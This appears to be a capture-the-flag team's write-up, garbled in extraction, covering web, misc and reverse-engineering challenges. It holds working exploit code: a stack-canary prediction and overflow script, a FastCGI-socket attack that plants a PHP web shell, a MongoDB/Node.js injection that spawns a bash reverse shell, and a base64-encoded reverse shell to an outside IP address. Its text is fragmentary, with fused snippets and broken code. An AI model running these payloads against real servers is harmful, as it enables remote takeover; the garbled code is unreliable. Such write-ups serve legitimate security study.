$OOOO[rand(0, strlen($OOOO) - 1)]; $O000O = $OOOO[rand(0, strlen($OOOO) - 1)]; $O00O0 = $OOOO[rand(0, strlen($OOOO) - 1)]; $O00OO = "\x00"; return $O0000 . $O000O . $O00O0 . $O00OO; } srand($argv[1]); $ins_offset = rand(0, 0xffff); $canary = gen_canary(); $ebp = 0xfffe0000 + rand(0, 65535); rand(0, 65535); $esp_length = rand(0x20, 0x60) * 4; print($esp_length . PHP_EOL); print($canary.PHP_EOL); $system_addr = 479 + $ins_offset + 1610612736 + 1; $assert_addr = $system_addr + 401; $print_r_addr = $system_addr + 110; $call_func_addr = $system_addr + 101; // print("system address: ".dechex($system_addr).PHP_EOL); print(strrev(dechex($call_func_addr)).PHP_EOL); print($call_func_addr.PHP_EOL); ?> import subprocess import requests import time, sys url = "http://192.168.111.138:8080/" url = "http://34.85.27.91:10080/" rand = int(time.time()) cmd = "php getrand.php %d"%(rand) proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE) result = proc.stdout.read() result = result.split(b"\n") stack_length = int(result[0]) canary = result[1] print_r = bytes.fromhex(result[2].decode()) print_r_int = result[3] cmd = sys.argv[1] cmd = 'echo "YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMzMuMTMwLjEyMi4yMzMvOTk5NyAwPiYxCg=="\|base64 -d\|bash' payload = """class Response { const REQ_STATE_WRITTEN = 1; const REQ_STATE_OK = 2; const REQ_STATE_ERR = 3; const REQ_STATE_TIMED_OUT = 4; public $state; public $stdout; public $stderr; private $reqID; private $resp; private $conn; public function __construct(Client $conn, $reqID) { $this->reqID = $reqID; $this->conn = $conn; } public function getId() { return $this->reqID; } public function get($timeout = 0) { if ($this->resp === null) { if ($this->state == self::REQ_STATE_OK \|\| $this->state == self::REQ_STATE_ERR ) { return $this->resp; } $this->conn->waitForResponse($this->reqID, $timeout); $this->resp = self::formatResponse($this->stdout, $this->stderr); } return $this->resp; } private static function formatResponse($stdout, $stderr) { $code = 200; $headers = [ 'status' => '200 OK', ]; $boundary = strpos($stdout, "\r\n\r\n"); if (false !== $boundary) { $rawHead = substr($stdout, 0, $boundary); $stdout = substr($stdout, $boundary + 4); $headerLines = explode("\n", $rawHead); foreach ($headerLines as $line) { if (preg_match('/([\w-]+):\s(.)$/', $line, $matches)) { $headerName = strtolower($matches[1]); $headerValue = trim($matches[2]); if ($headerName === 'status') { $headers['status'] = $headerValue; $pos = strpos($headerValue, ' ') ; $code = $pos > 0 ? (int) substr($headerValue, 0, $pos) : (int) $headerValue; continue; } if (array_key_exists($headerName, $headers)) { if (!is_array($headers[$headerName])) { $headers[$headerName] = [ $headers[$headerName] ]; } $headers[$headerName][] = $headerValue; } else { $headers[$headerName] = $headerValue; } } } } return array( 'statusCode' => $code, 'headers' => $headers, 'body' => $stdout, 'stderr' => $stderr, ); } } class Client { const VERSION_1 = 1; const BEGIN_REQUEST = 1; const ABORT_REQUEST = 2; const END_REQUEST = 3; const PARAMS = 4; const STDIN = 5; const STDOUT = 6; const STDERR = 7; const DATA = 8; const GET_VALUES = 9; const GET_VALUES_RESULT = 10; const UNKNOWN_TYPE = 11; const RESPONDER = 1; const AUTHORIZER = 2; const FILTER = 3; const REQUEST_COMPLETE = 0; const CANT_MPX_CONN = 1; const OVERLOADED = 2; const UNKNOWN_ROLE = 3; const HEADER_LEN = 8; protected $sock; protected $host; protected $port; protected $keepAlive = false; protected $_requests = array(); protected $_requestCounter = 0; protected $_readWriteTimeout = 0; public function __construct($host, $port = null) { $this->host = $host; $this->port = $port; } public function __destruct() { $this->close(); } public function __sleep() { return array('host','port','_readWriteTimeout'); } public function setKeepAlive($b) { $this->keepAlive = (boolean)$b; if (!$this->keepAlive && $this->sock) { $this->close(); } } public function getKeepAlive() { return $this->keepAlive; } public function close() { if ($this->sock) { socket_close($this->sock); $this->sock = null; } $this->_requests = []; } public function setReadWriteTimeout($timeoutMs) { $this->_readWriteTimeout = $timeoutMs; $this->setMsTimeout($this->_readWriteTimeout); } public function getReadWriteTimeout() { return $this->_readWriteTimeout; } private function setMsTimeout($timeoutMs) { if (!$this->sock) { return false; } $timeout = array( 'sec' => floor($timeoutMs / 1000), 'usec' => ($timeoutMs % 1000) * 1000, ); return socket_set_option($this->sock, SOL_SOCKET, SO_RCVTIMEO, $timeout); } protected function connect() { if ($this->sock) { return; } if ($this->port) { $this->sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); $address = $this->host; $port = $this->port; } else { $this->sock = socket_create(AF_UNIX, SOCK_STREAM, 0); $address = $this->host; $port = 0; } if (!$this->sock) { throw CommunicationException::socketCreate(); } if (false === socket_connect($this->sock, $address, $port)) { throw CommunicationException::socketConnect($this->sock, $this->host, $this->port); } if ($this->_readWriteTimeout && !$this->setMsTimeout($this->_readWriteTimeout)) { throw new CommunicationException('Unable to set timeout on socket'); } } protected function buildPacket($type, $content, $requestId = 1) { $offset = 0; $totLen = strlen($content); $buf = ''; do { $part = substr($content, $offset, 0xffff - 8); $segLen = strlen($part); $buf .= chr(self::VERSION_1) . chr($type) . chr(($requestId >> 8) & 0xFF) . chr($requestId & 0xFF) . chr(($segLen >> 8) & 0xFF) . chr($segLen & 0xFF) . chr(0) . chr(0) . $part; $offset += $segLen; } while ($offset < $totLen); return $buf; } protected function buildNvpair($name, $value) { $nlen = strlen($name); $vlen = strlen($value); if ($nlen < 128) { $nvpair = chr($nlen); } else { $nvpair = chr(($nlen >> 24) \| 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF); } if ($vlen < 128) { $nvpair .= chr($vlen); } else { $nvpair .= chr(($vlen >> 24) \| 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF); } return $nvpair . $name . $value; } protected function readNvpair($data, $length = null) { if ($length === null) { $length = strlen($data); } $array = array(); $p = 0; while ($p != $length) { $nlen = ord($data{$p++}); if ($nlen >= 128) { $nlen = ($nlen & 0x7F << 24); $nlen \|= (ord($data{$p++}) << 16); $nlen \|= (ord($data{$p++}) << 8); $nlen \|= (ord($data{$p++})); } $vlen = ord($data{$p++}); if ($vlen >= 128) { $vlen = ($nlen & 0x7F << 24); $vlen \|= (ord($data{$p++}) << 16); $vlen \|= (ord($data{$p++}) << 8); $vlen \|= (ord($data{$p++})); } $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen); $p += ($nlen + $vlen); } return $array; } protected function decodePacketHeader($data) { $ret = array(); $ret['version'] = ord($data{0}); $ret['type'] = ord($data{1}); $ret['requestId'] = (ord($data{2}) << 8) + ord($data{3}); $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5}); $ret['paddingLength'] = ord($data{6}); $ret['reserved'] = ord($data{7}); return $ret; } protected function readPacket($timeoutMs) { $s = [$this->sock]; $a = []; socket_select($s, $a, $a, floor($timeoutMs / 1000), ($timeoutMs % 1000) * 1000); $packet = socket_read($this->sock, self::HEADER_LEN); if ($packet === false) { $errNo = socket_last_error($this->sock); if ($errNo == 110) { throw new TimedOutException('Failed reading socket'); } throw CommunicationException::socketRead($this->sock); } if (!$packet) { return null; } $resp = $this->decodePacketHeader($packet); $resp['content'] = ''; if ($resp['contentLength']) { $len = $resp['contentLength']; while ($len && $buf=socket_read($this->sock, $len)) { $len -= strlen($buf); $resp['content'] .= $buf; } } if ($resp['paddingLength']) { socket_read($this->sock, $resp['paddingLength']); } return $resp; } public function getValues(array $requestedInfo) { $this->connect(); $request = ''; foreach ($requestedInfo as $info) { $request .= $this->buildNvpair($info, ''); } $ret = socket_write($this->sock, $this->buildPacket(self::GET_VALUES, $request, 0)); if ($ret === false) { throw CommunicationException::socketWrite($this->sock); } $resp = $this->readPacket(0); if ($resp['type'] == self::GET_VALUES_RESULT) { return $this->readNvpair($resp['content'], $resp['length']); } else { throw new CommunicationException('Unexpected response type, expecting GET_VALUES_RESULT'); } } public function request(array $params, $stdin) { $req = $this->asyncRequest($params, $stdin); return $req->get(); } public function asyncRequest(array $params, $stdin) { $this->connect(); do { $this->_requestCounter++; if ($this->_requestCounter >= 65536) { $this->_requestCounter = 1; } $id = $this->_requestCounter; } while (isset($this->_requests[$id])); $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this- >keepAlive) . str_repeat(chr(0), 5), $id); $paramsRequest = ''; foreach ($params as $key => $value) { $paramsRequest .= $this->buildNvpair($key, $value, $id); } if ($paramsRequest) { $request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id); } $request .= $this->buildPacket(self::PARAMS, '', $id); if ($stdin) { $request .= $this->buildPacket(self::STDIN, $stdin, $id); } $request .= $this->buildPacket(self::STDIN, '', $id); if (false === socket_write($this->sock, $request)) { throw CommunicationException::socketWrite($this->sock); } $req = new Response($this, $id); $req->state = Response::REQ_STATE_WRITTEN; $this->_requests[$id] = $req; return $req; } public function waitForResponse($requestId, $timeoutMs = 0) { if (!isset($this->_requests[$requestId])) { throw new CommunicationException('Invalid request id given'); } $startTime = microtime(true); do { $resp = $this->readPacket($timeoutMs); if (!$resp) { continue; } if (isset($this->_requests[$resp['requestId']])) { $req = $this->_requests[$resp['requestId']]; $respType = (int) $resp['type']; if ($respType === self::STDOUT) { $req->stdout .= $resp['content']; } elseif ($respType === self::STDERR) { $req->state = Response::REQ_STATE_ERR; $req->stderr .= $resp['content']; } elseif ($respType === self::END_REQUEST) { $req->state = Response::REQ_STATE_OK; unset($this->_requests[$resp['requestId']]); if ($resp['requestId'] == $requestId) { return true; } } } else { trigger_error("Bad requestID: " . $resp['requestId'], E_USER_WARNING); } if (isset($resp['content']{4})) { $msg = ord($resp['content']{4}); if ($msg === self::CANT_MPX_CONN) { throw new CommunicationException('This app multiplex [CANT_MPX_CONN]'); } elseif ($msg === self::OVERLOADED) { throw new CommunicationException('New request rejected; too busy [OVERLOADED]'); } elseif ($msg === self::UNKNOWN_ROLE) { throw new CommunicationException('Role value not known [UNKNOWN_ROLE]'); } } if ($timeoutMs && microtime(true) - $startTime >= ($timeoutMs * 1000)) { throw new TimedOutException('Timed out'); } } while (true); return false; } } $filepath = "/var/www/html/sandbox.php"; $req = '/sandbox.php'; $cmd = $_REQUEST['cmd']; $uri = $req .'?'.'command='.$cmd; $client = new Client("//var/run/php/php7.3-fpm.sock", 0); $code = "<?php system(\$_GET['command']);?>"; $php_value = "allow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input"; $params = array( 'GATEWAY_INTERFACE' => 'FastCGI/1.0', 'REQUEST_METHOD' => 'POST', 'SCRIPT_FILENAME' => $filepath, 'SCRIPT_NAME' => $req, 'QUERY_STRING' => 'command='.$cmd, 'REQUEST_URI' => $uri, 'DOCUMENT_URI' => $req, 'PHP_VALUE' => $php_value, 'SERVER_SOFTWARE' => 'niubi/fasdfas', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => 'localhost', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_LENGTH' => strlen($code) ); var_dump($params); ini_set("display_errors", "On"); var_dump($client->request($params, $code)); """ data1 = { "data": b"a"(stack_length-4) + canary + b"aaaa" + print_r + b"0004abcdabccabc1abc2", print_r_int:"1", "abcd":b"array_map", "abcc": "call_user_func_array", "abc1[0]": "create_function", "abc2[a][a]": "", "abc2[a][b]": "2;}%s/"%payload, "cmd": cmd, } # data1 = { # "data": b"a"(stack_length-4) + canary + b"aaaa" + print_r + b"0004abcdabccabc1abc2", # print_r_int:"1", # "abcd":b"error_log", # "abcc": "/tmp/14ab50ba338b696dc9a4edd5adf3a213/", # "abc1": 3, # "abc2": "/tmp/14ab50ba338b696dc9a4edd5adf3a213/test123" # } data2 = { shellperlOK 996 Game Status: Completed Tags: Web,nojejs NodejsMongoDBsocketiohintdb.a.ﬁnd({"b":{"$gt":1,"c":"d"}}) MongoDB repoGitHubrepojs/clientjs/server jsjs/server Githubdiﬀeval "data": b"a"(stack_length-4) + canary + b"aaaa" + print_r + b"0002abcdabc2", print_r_int:"1", "abcd":b"session_start", "abc2[save_path]": "/tmp/14ab50ba338b696dc9a4edd5adf3a213/test123" } r = requests.post(url, data=data1, files={"file": open("include.php")}) •# r = requests.post(url, data={"data": b"a"(stack_length-4) + canary + b"aaaa" + print_r + b"0002abcdabcc", print_r_int:"1", "abcd":"assert", "abcc": "print_r(123)"}) •print(r.text) •# r = requests.post(url, data=data2) •# print(r.text) // GameServer.js diff GameServer.loadPlayer = function(socket,id){ GameServer.server.db.collection('players').findOne({_id: new ObjectId(id)},function(err,doc){ if(err) { if(!doc) { eval(err.message.split(':').pop()); // } throw err; } if(!doc) { return; } var player = new Player(); var mongoID = doc._id.toString(); player.setIDs(mongoID,socket.id); player.getDataFromDb(doc); js init-worlddatanewfalseid ObjectID_id GameServer.finalizePlayer(socket,player); }); }; socket.on('init-world',function(data){ if(!gs.mapReady) { socket.emit('wait'); return; } if(data.new) { if(!gs.checkSocketID(socket.id)) return; gs.addNewPlayer(socket,data); }else{ if(!gs.checkPlayerID(data.id)) return; gs.loadPlayer(socket,data.id); // } }); db.collection('players').findOne({_id: new ObjectId(id)} var ObjectID = function ObjectID(id) { // Duck-typing to support ObjectId from different npm packages if (id instanceof ObjectID) return id; if (!(this instanceof ObjectID)) return new ObjectID(id); this._bsontype = 'ObjectID'; // The most common usecase (blank id, new objectId instance) if (id == null \|\| typeof id === 'number') { // Generate a new id this.id = this.generate(id); // If we are caching the hex string if (ObjectID.cacheHexString) this.__id = this.toString('hex'); // Return the object return; } // Check if the passed in id is valid var valid = ObjectID.isValid(id); console.log("pass 1"); // Throw an error if it's not a valid setup if (!valid && id != null) { throw new Error( 'Argument passed in must be a single String of 12 bytes or a string of 24 hex characters' ); } else if (valid && typeof id === 'string' && id.length === 24 && hasBufferType) { return new ObjectID(new Buffer(id, 'hex')); } else if (valid && typeof id === 'string' && id.length === 24) { return ObjectID.createFromHexString(id); } else if (id != null && id.length === 12) { // assume 12 byte string this.id = id; } else if (id != null && id.toHexString) { // Duck-typing to support ObjectId from different npm packages return id; } else { isValid ObjectID{toHexString:1,id:{length:12}}, “id.toHexString”“id.id.length === 12”“id != null && id.toHexString“idnew ObjectID dataidﬁnd_id hinthintid evalc shell python throw new Error( 'Argument passed in must be a single String of 12 bytes or a string of 24 hex characters' ); } if (ObjectID.cacheHexString) this.__id = this.toString('hex'); }; ObjectID.isValid = function isValid(id) { if (id == null) return false; if (typeof id === 'number') { return true; } if (typeof id === 'string') { return id.length === 12 \|\| (id.length === 24 && checkForHexRegExp.test(id)); } if (id instanceof ObjectID) { return true; } if (id instanceof _Buffer) { return true; } // Duck-Typing detection of ObjectId like objects if (id.toHexString) { return id.id.length === 12 \|\| (id.id.length === 24 && checkForHexRegExp.test(id.id)); } return false; }; Client.socket.emit('init-world',{new:false,id:{"$gt":"a",c:"b",toHexString:1,id: {length:12}},clientTime:Date.now()}) Client.socket.emit('init-world',{new:false,id:{"$gt":"a","const { execFile, execFileSync } = require('child_process');GameServer.server.sendID(socket,execFileSync('/bin/bash' ,['-c' ,'bash -i >& /dev/tcp/x.xxx.xx.xx/9999 0>&1']));":"b",toHexString:1,id:{length:12}},clientTime:Date.now()}) //996996 mywebsql Status: Completed Tags: Web https://github.com/eddietcc/CVEnotes/blob/master/MyWebSQL/RCE/readme.md shellreadﬂagelfperl Misc babyﬂash Status: Completed Tags: Misc JPEXS441441=2121ﬂagﬂag otaku Status: Completed Tags: Misc Wordlastwordgbkcrcknown plaintext attackMy_waifuLSBb1,rgb,lsb,xy .. text: "ctf{vI0l3t_Ev3rg@RdeN}\n" Checkin Status: Completed Tags: Misc IRC She Status: Completed Tags: Misc Game Maker XP12113737 629679room4371269213697MD5ﬂag Sokoban Status: Completed Tags: Misc import socket,subprocess,os p = subprocess.Popen("/readflag", stdin = subprocess.PIPE, stdout = subprocess.PIPE, bufsize = 1) x = p.stdout.read(100) print x w = x.splitlines()[1] ans = eval(w) p.stdin.write(str(ans) + '\\n') v = p.stdout.read(100) print v echo 'dXNlIHN0cmljdDsKdXNlIElQQzo6T3BlbjM7CgpteSAkcGlkID0gb3BlbjMoXCpDSExEX0lOLCBcKkNITERfT1VULCBcKkNITERfRVJSLC AnL3JlYWRmbGFnJykgb3IgZGllICJvcGVuMygpIGZhaWxlZCAkISI7CgpteSAkcjsKCiRyID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJ HIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOwokcj1ldmFsICIkciI7CnByaW50ICIkclxuIjsKcHJpbnQgQ0hMRF9JTiAiJHJcbiI7CiRy ID0gPENITERfT1VUPjsKcHJpbnQgIiRyIjsKJHIgPSA8Q0hMRF9PVVQ+OwpwcmludCAiJHIiOw=='\|base64 -d \| perl from pwintools import import string import time a = 'UuDdLlRr' b = 'wwssaadd' gg( homebrewEvtLoop— Status: Completed Tags: Misc t = string.maketrans(a, b) p = Remote('34.92.121.149', 9091) p.recvuntil('tips:more than one box\n') def solve(): mapp = p.recvuntil('tell')[:-4].replace('8', '#').replace('4', '@').replace('0', ' ').replace('2', '$').replace('1', '.').strip() print mapp open('chall.txt', 'w').write(mapp) solver = Process(['YASS.exe', 'chall.txt']) time.sleep(0.5) optimizer = Process(['YASO.exe', '"chall, YASS 2.141 Solutions.sok"', '-search', 'optimize', '- optimize', 'moves']) # optimizer.wait() time.sleep(2) f = open('chall, YASS 2.141 Solutions, YASO 2.141 Solutions.sok') data = f.read().replace('\n', '') f.close() # print data s = data[data.index("2.141)")+6:] print s.translate(t) print p.recv(100) p.sendline(s.translate(t)) •p.recv(1000) •p.sendline('dd') •for i in xrange(24): solve() •p.interactive() #!/usr/bin/env python # -- coding: utf-8 -- from pwn import * from hashlib import sha1 import string # context.log_level = 'debug' table = string.ascii_letters + string.digits payload = '''[[session[args[0]][{}]][0]in[event[{}]]or[ping_handler][0]][0]or[{}]114514log''' table = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789[]" def proof_of_work(res): for a in table: for b in table: for c in table: for d in table: if sha1(a + b + c + d).hexdigest()[:4] == res: return a + b + c + d homebrewEvtLoop# Status: Completed Tags: Misc [[[ping_handler]for[PoW]in[[switch_safe_mode]]]and[[ping_handler]for[raw_input]in[[input]]]and[ping_handler][0]]1145141 eval(compile("print open('ﬂag','rb').read()", '', 'exec')) Reverse Matr1x Status: Completed Tags: Reverse flag = "ctf{" for idx in range(5, 1000): success = False for guess in table: io = remote('34.92.121.149', 54321) proof = io.recv().strip().split('==')[1].strip("\" ") io.sendline(proof_of_work(proof)) offset = 64 if idx < 10 else 65 if guess == '[': io.sendline(payload.format(idx, offset - 1, '1')) elif guess == ']': io.sendline(payload.format(idx, offset + 1, '1')) else: io.sendline(payload.format(idx, offset, guess)) res = io.recvuntil('lost') io.close() if 'exception' in res: flag += guess success = True print idx, flag break if not success: break print flag void sub_5C20(int a1) { _DWORD result; // eax int v2; // [esp+4Ah] [ebp-4h] int v3; // [esp+4Ah] [ebp-4h] v2 = a1[0]; a1[0] = a1[6]; a1[6] = a1[8]; a1[8] = a1[2]; a1[2] = v2; v3 = a1[1]; a1[1] = a1[3]; a1[3] = a1[7]; a1[7] = a1[5]; a1[5] = v3; } void sub_6473(int a1) { int result; // eax int v2; // [esp+67h] [ebp-4h] int v3; // [esp+67h] [ebp-4h] v2 = a1[0]; a1[0] = a1[2]; a1[2] = a1[8]; a1[8] = a1[6]; a1[6] = v2; v3 = a1[1]; a1[1] = a1[5]; a1[5] = a1[7]; a1[4] = a1[3]; a1[3] = v3; } void __stdcall operation_16() { int i; // [esp+5Ch] [ebp-8h] int v2; // [esp+60h] [ebp-4h] for ( i = 0; i < 3; i += 1) { v2 = mat1[2 + 3 * i]; mat1[2 + 3 * i] = mat1[47 + 3 * i]; mat1[47 + 3 * i] = mat1[11 + 3 * i]; mat1[11 + 3 * i] = mat1[38 + 3 * i]; mat1[38 + 3 * i] = v2; } sub_5C20(&mat1[27]); } void operation_21() { int i; // [esp+66h] [ebp-8h] int v2; // [esp+6Ah] [ebp-4h] for ( i = 0; i < 3; i += 1) { v2 = mat1[2 + 3 * i]; mat1[2 + 3 * i] = mat1[38 + 3 * i] mat1[38 + 3 * i] = mat1[11 + 3 * i]; mat1[11 + 3 * i] = mat1[47 + 3 * i]; mat1[47 + 3 * i] = v2; } sub_6473(&mat1[27]); } void operation_17() { signed int i; // [esp+37h] [ebp-8h] int v2; // [esp+3Bh] [ebp-4h] for ( i = 0; i < 3; i += 1) { v2 = mat1[3 * i]; mat1[3 * i] = mat1[4 + 3 * i]; mat1[4 + 3 * i] = mat1[1 + 3 * i]; mat1[1 + 3 * i] = mat1[5 + 3 * i]; mat1[5 + 3 * i] = v2; } sub_5C20(&mat1[18]); } void operation_20() { int i; // [esp+3Ah] [ebp-8h] int v2; // [esp+3Eh] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[3 * i]; mat1[3 * i] = mat1[45 + 3 * i]; mat1[45 + 3 * i] = mat1[9 + 3 * i]; mat1[9 + 3 * i] = mat1[36 + 3 * i]; mat1[36 + 3 * i] = v2; } sub_6473(&mat1[18]); } void operation_18() { int result; // eax int i; // [esp+31h] [ebp-8h] int v2; // [esp+35h] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat[1 + 3 * i]; mat[1 + 3 * i] = mat1[46 + 3 * i]; mat1[46 + 3 * i] = mat1[10 + 3 * i]; mat1[10 + 3 * i] = mat1[37 + 3 * i]; mat1[37 + 3 * i] = v2; } } void operation_19() { int result; // eax int i; // [esp+72h] [ebp-8h] int v2; // [esp+76h] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[37 + 3 * i]; mat1[37 + 3 * i] = mat1[10 + 3 * i]; mat1[10 + 3 * i] = mat1[46 + 3 * i]; mat1[46 + 3 * i] = mat1[1 + 3 * i] mat1[1 + 3 * i] = v2; } } void operation_32() { int i; // [esp+2Ah] [ebp-8h] int v2; // [esp+2Eh] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[i]; mat1[i] = mat1[i + 27]; mat1[i + 27] = mat1[17 - i]; mat1[17 - i] = mat1[i + 18]; mat1[i + 18] = v2; } sub_5C20(&mat1[36]); } void operation_37() { int i; // [esp+2Ah] [ebp-8h] int v2; // [esp+2Eh] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[i]; mat1[i] = mat1[i + 18]; mat1[i + 18] = mat1[17 - i]; mat1[17 - i] = mat1[i + 27]; mat1[i + 27] = v2; } sub_6473((&mat1[36]); } void operation_33() { int result; // eax int i; // [esp+75h] [ebp-8h] int v2; // [esp+79h] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[i + 3]; mat1[i + 3] = mat1[i + 30]; mat1[i + 30] = mat1[14 - i]; mat1[14 - i] = mat1[i + 21]; mat1[i + 21] = v2; } } void operation_36() { int result; // eax int i; // [esp+34h] [ebp-8h] int v2; // [esp+38h] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[i + 3]; mat1[i + 3] = mat1[i + 21]; mat1[i + 21] = mat1[14 - i]; mat1[14 - i] = mat1[i + 30]; mat1[i + 30] = v2; } } void operation_34() { int i; // [esp+27h] [ebp-8h] int v2; // [esp+2Bh] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[i + 6]; mat1[i + 6] = mat1[i + 24]; mat1[i + 24] = mat1[11 - i]; mat1[11 - i] = mat1[i + 33]; mat1[i + 33] = v2; } sub_5C20(&mat1[45]); } void operation_35() { int i; // [esp+48h] [ebp-8h] int v2; // [esp+4Ch] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[i + 6]; mat1[i + 6] = mat1[i + 33]; mat1[i + 33] = mat1[11 - i]; mat1[11 - i] = mat1[i + 24]; mat1[i + 24] = v2; } sub_6473(&mat1[45]); } void operation_48() { int i; // [esp+6Eh] [ebp-8h] int v2; // [esp+72h] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[42 + i]; mat1[42 + i] = mat1[26 - i]; mat1[26 - i] = mat1[47 - i]; mat1[47 - i] = mat1[27 + 3 * i]; mat1[27 + 3 * i] = v2; } sub_5C20(&mat1); } void operation_53() { int i; // [esp+0h] [ebp-8h] int v2; // [esp+4h] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[42 + i]; mat1[42 + i] = mat1[27 + 3 * i]; mat1[27 + 3 * i] = mat1[47 - i]; mat1[47 - i] = mat1[26 - i]; mat1[26 - i] = v2; } sub_6473(&mat1); } void operation_49() { int result; // eax int i; // [esp+70h] [ebp-8h] int v2; // [esp+74h] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[39 + i]; mat1[39 + i] = mat1[28 + 3 * i]; mat1[28 + 3 * i] = mat1[50 - i]; mat1[50 - i] = mat1[19 + 3 * i]; mat1[19 + 3 * i] = v2; } } void operation_52() { int i; // [esp+50h] [ebp-8h] int v2; // [esp+54h] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[i + 39]; mat1[i + 39] = mat1[19 + 3 * i]; mat1[19 + 3 * i] = mat1[50 - i]; mat1[50 - i] = mat1[28 + 3 * i]; mat1[28 + 3 * i] = v2; } } void operation_50() { signed int i; // [esp+73h] [ebp-8h] int v2; // [esp+77h] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[i + 36]; mat1[i + 36] = mat1[29 + 3 * i]; mat1[29 + 3 * i] = mat1[53 - i]; mat1[53 - i] = mat1[24 - i]; mat1[24 - i] = v2; } sub_5C20(&mat1[9]); } void operation_51() { int i; // [esp+12h] [ebp-8h] int v2; // [esp+16h] [ebp-4h] for ( i = 0; i < 3; i += 1 ) { v2 = mat1[i + 36]; mat1[i + 36] = mat1[24 - i]; mat1[24 - i] = mat1[53 - i]; mat1[53 - i] = mat1[29 + 3 * i]; mat1[29 + 3 * i] = v2; } sub_6473(&mat1[9]); } // positive sp value has been detected, the output may be wrong! unsigned int __stdcall sub_39C7(char s) { int v1; // ecx signed int i; // [esp+54h] [ebp-8h] signed int v4; // [esp+58h] [ebp-4h] v4 = strlen(s); for ( i = 0; i < v4; i += 1 ) { v1 = s[i]; if ( v1 == ((16 (obfs_const[7] + 288083491)) ^ 0xB0DF2591) - 1196512209 ) //16 { operation_16(); } else if ( v1 == ((16 * (((obfs_const[7] ^ 0xE60F6354) - 826857249) >> 2)) ^ 0xB965D1B5) - 579033584 )//21 { operation_21(); } else if ( v1 == ((32 * obfs_const[3] + 1965675215) ^ 0x97741295) - 1248947081 ) // 17 { operation_17(); } else if ( v1 == (((obfs_const[6] ^ 0x34586BF6u) >> 6) ^ 0x8BDD5B2C) + 2003044905 )//20 { operation_20(); } else if ( v1 == ((unsigned int)(obfs_const[7] + 927293343) >> 5) - 95196085 ) //18 { operation_18(); } else if ( v1 == ((8 * ((unsigned int)(obfs_const[4] + 716493532) >> 1)) ^ 0x7B83A27E) + 1231816413 )//19 { operation_19(); } else if ( v1 == 16 * (obfs_const[6] - 1281978855) + 1733917904 ) // 32 { operation_32(); } else if ( v1 == ((((unsigned int)(2 * obfs_const[6]) >> 1) ^ 0xF5F2077) >> 4) - 111857537 ) // 37 { operation_37(); } else if ( v1 == (obfs_const[1] ^ 0x6BFD9D17) + 1167450915 ) // 33 { operation_33(); } else if ( v1 == ((obfs_const[5] ^ 0x8C399AE5) >> 1) - 1617879809 )//36 { operation_36(); } else if ( v1 == ((4 * obfs_const[1] - 819839489) ^ 0x3B31946C) - 797164164 + 13758679 )//34 { operation_34(); } else if ( v1 == 2 * (((unsigned int)obfs_const[0] >> 2) ^ 0x430F1EE) - 1624092443 )//35 { operation_35(); } else if ( v1 == 32 * ((((obfs_const[2] - 1854751333) ^ 0x5244B239u) >> 4) - 1604934297) - 2087901840 )//48 { operation_48(); } else if ( v1 == ((obfs_const[4] ^ 0x9CCC8793) << 6) - 1683468845 + 1399232866 )//53 { operation_53(); } else if ( v1 == ((obfs_const[1] << 8) & 0x1FFFFFFF) - 394389711 )//49 { operation_49(); } else if ( v1 == (((unsigned int)obfs_const[5] >> 3) ^ 0xECD8CC8B) + 448510230 )//52 { operation_52(); } else if ( v1 == (obfs_const[6] ^ 0x984A4E78) - 2109314098 )//50 { operation_50(); } else if ( v1 == obfs_const[7] - 2118981905 ) // 51 { operation_51(); } else { //return ((unsigned int)(obfs_const[6] + 908794) >> 4) - 241179520; } }; } _DWORD dword_131D0[12] = { 3565280580, 3865899232, 1820743261, 4016843373, 3513787146, 2438574441, 1036979519, 3644006006, 1684609776, 3690169551, 111033914, 1898110541 }; int check_mat() { int (v1)[9]; // [esp+0h] [ebp-Ch] int i; // [esp+4h] [ebp-8h] unsigned int v3; // [esp+8h] [ebp-4h] v3 = 1; for ( i = 0; i < 6 && v3; i += 1 ) { v1 = mat1[9 i]; v3 = v1[7] + v1[5] + v1[4] + v1[3] + v1[1] == dword_131D0[2 * i + 1] & v1[8] + v1[6] + v1[4] + v1[2] + v1[0] == dword_131D0[2 * i]) & (unsigned __int8)v3; } return v3; } // positive sp value has been detected, the output may be wrong! int __cdecl main(int argc, const char argv, const char envp) { unsigned int v3; // ecx int v5; // [esp+0h] [ebp-18Ch] unsigned int v6; // [esp+0h] [ebp-18Ch] int v7; // [esp+4h] [ebp-188h] int v8; // [esp+4h] [ebp-188h] int v9; // [esp+8h] [ebp-184h] int v10; // [esp+8h] [ebp-184h] int v11; // [esp+Ch] 